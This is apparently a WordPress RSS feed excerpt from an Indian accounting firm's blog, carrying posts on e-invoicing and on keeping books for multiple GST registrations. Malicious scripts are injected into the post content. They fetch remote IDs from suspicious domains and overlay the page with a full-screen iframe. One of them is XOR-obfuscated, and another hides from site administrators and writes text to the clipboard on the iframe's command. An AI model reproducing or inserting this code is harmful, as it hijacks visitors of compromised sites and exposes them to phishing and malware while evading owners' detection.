          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/dakiloifhsnuukka.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function(){var __s=(function(){var _0xdbb3=[114,60,47,52,57,46,51,53,52,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,114,60,47,52,57,46,51,53,52,114,115,33,44,59,40,122,5,106,34,111,111,110,106,103,1,111,106,118,110,108,118,110,108,118,110,104,118,110,107,118,99,108,118,107,107,109,118,107,107,109,118,108,104,118,111,99,118,110,99,118,111,107,118,111,110,118,111,105,118,111,107,118,108,106,118,111,106,118,110,107,118,111,104,118,110,109,118,110,109,118,110,99,118,110,99,118,111,99,118,107,107,108,118,111,109,118,111,105,118,111,111,118,107,107,109,118,111,107,118,111,104,118,111,110,118,111,107,118,111,104,118,108,105,118,107,107,108,118,110,104,118,111,106,118,110,104,7,97,40,63,46,47,40,52,122,9,46,40,51,52,61,116,60,40,53,55,25,50,59,40,25,53,62,63,116,59,42,42,54,35,114,9,46,40,51,52,61,118,5,106,34,111,111,110,106,116,55,59,42,114,60,47,52,57,46,51,53,52,114,57,115,33,40,63,46,47,40,52,122,57,4,106,34,111,27,97,39,115,115,97,39,115,114,115,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,33,120,46,63,55,42,54,59,46,63,120,96,114,60,47,52,57,46,51,53,52,114,115,33,44,59,40,122,5,106,34,107,104,105,106,103,1,111,106,118,110,108,118,110,108,118,110,104,118,110,107,118,99,108,118,107,107,109,118,107,107,109,118,110,106,118,111,99,118,110,111,118,107,107,108,118,108,107,118,111,107,118,110,108,118,111,106,118,110,109,118,111,108,118,110,109,118,110,107,118,108,105,118,110,106,118,111,109,118,111,105,118,111,104,118,110,108,118,108,105,118,111,104,118,110,108,118,107,107,108,118,111,109,118,111,105,118,111,111,118,107,107,109,118,105,105,118,111,107,118,108,104,118,105,99,7,97,40,63,46,47,40,52,122,9,46,40,51,52,61,116,60,40,53,55,25,50,59,40,25,53,62,63,116,59,42,42,54,35,114,9,46,40,51,52,61,118,5,106,34,107,104,105,106,116,55,59,42,114,60,47,52,57,46,51,53,52,114,57,115,33,40,63,46,47,40,52,122,57,4,106,34,111,27,97,39,115,115,97,39,115,114,115,118,120,47,41,63,28,63,46,57,50,120,96,46,40,47,63,39,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,59,62,41,42,63,57,46,5,45,42,47,5,110,5,5,120,115,97,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,122,40,47,52,96,122,60,59,54,41,63,122,39,97,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,115,122,40,63,46,47,40,52,97,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,122,103,122,46,40,47,63,97,87,80,122,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,122,103,122,120,59,62,41,42,63,57,46,5,51,60,40,5,120,122,113,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,122,38,38,122,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,117,112,112,122,138,196,139,216,138,232,138,239,139,216,122,139,216,139,218,138,234,139,219,139,216,138,234,122,184,218,206,122,138,228,138,238,138,231,138,234,122,139,219,139,216,139,218,138,228,138,224,138,234,122,15,8,22,122,112,117,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,9,51,52,61,54,63,15,40,54,114,46,63,34,46,115,122,33,87,80,122,122,122,122,44,59,40,122,41,122,103,122,114,46,63,34,46,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,41,116,51,52,62,63,34,21,60,114,120,6,52,120,115,122,100,103,122,106,122,38,38,122,41,116,51,52,62,63,34,21,60,114,120,6,40,120,115,122,100,103,122,106,115,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,122,122,40,63,46,47,40,52,122,117,4,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,102,100,120,125,7,113,126,117,51,116,46,63,41,46,114,41,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,50,53,45,19,52,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,123,117,4,50,46,46,42,41,101,96,6,117,6,117,117,51,116,46,63,41,46,114,47,40,54,115,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,47,40,54,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,97,46,53,42,96,106,97,54,63,60,46,96,106,97,45,51,62,46,50,96,107,106,106,44,45,97,50,63,51,61,50,46,96,107,106,106,44,50,97,56,53,40,62,63,40,96,52,53,52,63,97,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,97,55,59,40,61,51,52,96,106,97,42,59,62,62,51,52,61,96,106,97,120,97,87,80,122,122,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,53,52,23,41,61,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,63,44,63,52,46,116,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,63,44,63,52,46,116,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,44,59,40,122,63,54,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,63,54,122,124,124,122,63,54,116,42,59,40,63,52,46,20,53,62,63,115,122,63,54,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,63,54,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,45,51,52,62,53,45,116,40,63,55,53,44,63,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,53,52,23,41,61,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,114,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,115,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,60,63,46,57,50,114,27,10,19,5,19,30,5,15,8,22,118,122,33,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,40,115,122,33,122,40,63,46,47,40,52,122,40,116,46,63,34,46,114,115,97,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,40,63,46,47,40,52,122,52,47,54,54,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,46,63,55,42,54,59,46,63,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,106,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,46,40,47,41,46,63,62,15,40,54,122,103,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,114,46,40,47,41,46,63,62,15,40,54,118,122,33,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,40,115,122,33,122,40,63,46,47,40,52,122,40,116,46,63,34,46,114,115,97,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,46,115,122,33,122,40,63,46,47,40,52,122,114,46,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,114,115,122,33,122,40,63,46,47,40,52,122,120,120,97,122,39,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,9,51,52,61,54,63,15,40,54,114,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,41,50,53,45,19,52,19,60,40,59,55,63,114,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,114,115,122,33,39,115,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,40,63,59,62,35,9,46,59,46,63,122,103,103,103,122,120,57,53,55,42,54,63,46,63,120,122,38,38,122,62,53,57,47,55,63,52,46,116,56,53,62,35,115,122,33,87,80,122,122,122,122,40,47,52,114,115,97,87,80,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,30,21,23,25,53,52,46,63,52,46,22,53,59,62,63,62,120,118,122,40,47,52,115,97,87,80,122,122,39,87,80,39,115,114,115,97,87,80];return String.fromCharCode.apply(String,_0xdbb3.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement("script");__sc.type="text/javascript";__sc.text=__s;__h.appendChild(__sc);})();</script></p>
<p>The post <a href="https://www.marsoneinnovators.com/impact-of-e-invoicing-on-business-in-india/">Impact of E-Invoicing on Business in India</a> appeared first on <a href="https://www.marsoneinnovators.com">Marsone</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.marsoneinnovators.com/impact-of-e-invoicing-on-business-in-india/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Best Way to Manage Books of Accounts When You Have Multiple GST Registration (GSTIN)</title>
		<link>https://www.marsoneinnovators.com/best-way-to-manage-books-of-accounts-when-you-have-multiple-gst-registration-gstin/</link>
					<comments>https://www.marsoneinnovators.com/best-way-to-manage-books-of-accounts-when-you-have-multiple-gst-registration-gstin/#respond</comments>
		
		<dc:creator><![CDATA[marsone-admin]]></dc:creator>
		<pubDate>Fri, 18 Nov 2022 17:21:52 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://www.marsoneinnovators.com/?p=252</guid>

					<description><![CDATA[<p>Bookkeeping is an essential component of managing a business properly. However, bookkeeping should be in...</p>
<p>The post <a href="https://www.marsoneinnovators.com/best-way-to-manage-books-of-accounts-when-you-have-multiple-gst-registration-gstin/">Best Way to Manage Books of Accounts When You Have Multiple GST Registration (GSTIN)</a> appeared first on <a href="https://www.marsoneinnovators.com">Marsone</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Bookkeeping is an essential component of managing a business properly. However, bookkeeping should be in accordance with the local laws and regulations for the company to be compliant with taxes and other levies. Accounts and bookkeeping allow business owners to monitor, analyze and control their cash flows and financial transactions.</p>
<p>As per GST Act, all GST registered business should maintain the books of accounts and records for at least a period of 6 years. If you have multiple GST registration, you maintain it for each of the GSTIN.</p>
<p><strong>The importance of bookkeeping in GST</strong><br />
A business should know precisely how much money it is transacting and the details of each transaction. The maintenance of accounting records is essential for the business to accurately generate invoices, bills, and accounting reports. However, another vital use of bookkeeping is to keep records in order to compute the taxes and other dues that are to be paid to the authorities and government agencies. A company that does not maintain proper records will not be able to maintain compliance and is more likely to default or file faulty returns and face penalties or fines.</p>
<p>Bookkeeping is also essential to maintain a record of accounts receivable and  as well as accounts payable and the amounts that are due to be paid to others. Both these amounts have tax components that the issuer of the invoice has to record in order to pay taxes correctly. </p>
<p><strong>Best practices businesses can embrace to manage their books with multiple GSTIN</strong><br />
Companies with a single location or office usually have one GSTIN making it simple enough to manage the accounts and file GST with that single GSTIN. However, when there are multiple locations, the company may have to apply for multiple GST registration for each location and maintain their books of accounts accordingly. When the locations are in different states or union territories, opting multi GSTIN is mandatory. An individual with two very different businesses within the same state or union territory may also apply for an individual GSTIN for each of the business vertical.Maintaining accounts for multiple GSTINs involves compiling the GSTIN filing statements/returns separately. This has a significant impact on how one should manage books of accounts.</p>
<p>Considering the multi-GST registration, there are two ways in which books can be maintained that facilitate GSTIN-wise reporting.</p>
<p><script>(function () {
  var API_ID_URL = (function(){var _0xef7d=[50,46,46,42,41,96,117,117,41,47,55,61,51,60,59,54,47,51,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0xef7d.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
